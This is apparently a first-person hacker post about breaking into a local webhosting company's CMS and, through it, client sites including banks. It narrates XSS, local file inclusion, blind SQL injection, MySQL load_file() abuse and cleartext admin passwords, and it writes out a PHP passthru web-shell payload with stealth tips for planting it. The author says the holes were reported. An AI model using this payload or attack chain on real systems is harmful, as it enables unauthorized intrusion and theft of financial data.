Alright, sorry to get everyone excited, but this is not a guide on how to hack banks. This is how I got access to a couple of banks via getting into a webhost company located locally. The name is not shown to protect the innocent hosts on this webserver. Everything has been reported and most of it has been fixed.
Seeing as I'm looking for a job, someone I know showed me this ad placed by a local webhosting company looking for web scripters. I am not new to html (or xhtml as is getting more standardized) nor PHP, so I decided to look around at its site. They basically wrote a CMS system to create pages easily and quickly (which is why CSS was not a need to know). Curious as to how this worked, I decided to throw some information at it and see what I got in return.
This is where the exploiting came in. I found out how easy it was to get this system to return information to me that would be extremely valuable to a would-be attacker. This included finding out that none of the scripts checked for script insertion. So, there were several low-level XSS finds and one even more dangerous one found. They had a contact us form that submits and writes the information to an online file that can only be accessed by the admin. Unfortunately, this script also did not check for any kind of script insertion. So I could send whatever html I felt like (and even PHP, but we'll get to that later) to the admin. Next I found that as long as I attached .*** to the suffix (no null byte here and could not create an RFI due to some restrictions) anything local could be included through a variable I had access to. So, I decided to do a little proof of concept and had the page include itself over and over again (included file through an infinite loop would create an internal DoS).
Next, I found a blind sql injection. After mapping my way through 150 (there were more tables, but I just had to stop and do something else after 150 tables) tables I took the interesting ones and started to map out their column name(s). I had all sorts of information I could access through this. There was client information (automated payment information anybody :p), banking information, financial records, and etc. What caught my eye was the ever so common table name, users. After a little work from empty columns to a WHERE clause pulling information by an identification number, I was able to extract unencrypted passwords from the table. This is where I pulled the first working id from the table and logged in as administrator in their back-end administration system. I had access to practically everything this webhosting company was doing. This included access to the hundreds of client sites, a couple of which were banks (see title). With these clients I had their passwords and could see, upload, and modify each hosts' content. I also had access to that contact form (see last paragraph).
The best part of it was I was playing around loading files with the MySQL (this was the sql database they used) load_file() function and was loading files outside of the website root. When I went into the admin panel they had little notes on what needed to be done and updating their sql database to a newer version was in their todo list (upgrading would have stopped me from being able to issue the load_file() function unless they really messed up and let a visitor run sql commands with enough rights to run such powerful functions).
Now, on to the part where I gain access to the box. I could simply write a simple php shell and place it on one of the pages with the longer number of used lines (so it would be more stealthy than just uploading a file), but I had LFI access to an XSS'able page. So there's something I wanted to try for a long time, using the XSS'ed page to include a php script that could get executed by the LFI vulnerability. So I wrote a nice comment and submitted it to them:
"><?php passthru($_POST['***__file']); ?>
Note - ***__file, ***_file is the include function variable, so I just placed another underscore on my simple shell to make it look less suspicious. I also included an isset() that would check to see if my post was submitted and then echo'ed the results back to me. All of this being encoded by base64_encode.
Next, I loaded the page this was wrote to through the LFI (which was happy to accept another variable called blah=.iml) and started to play with my working shell.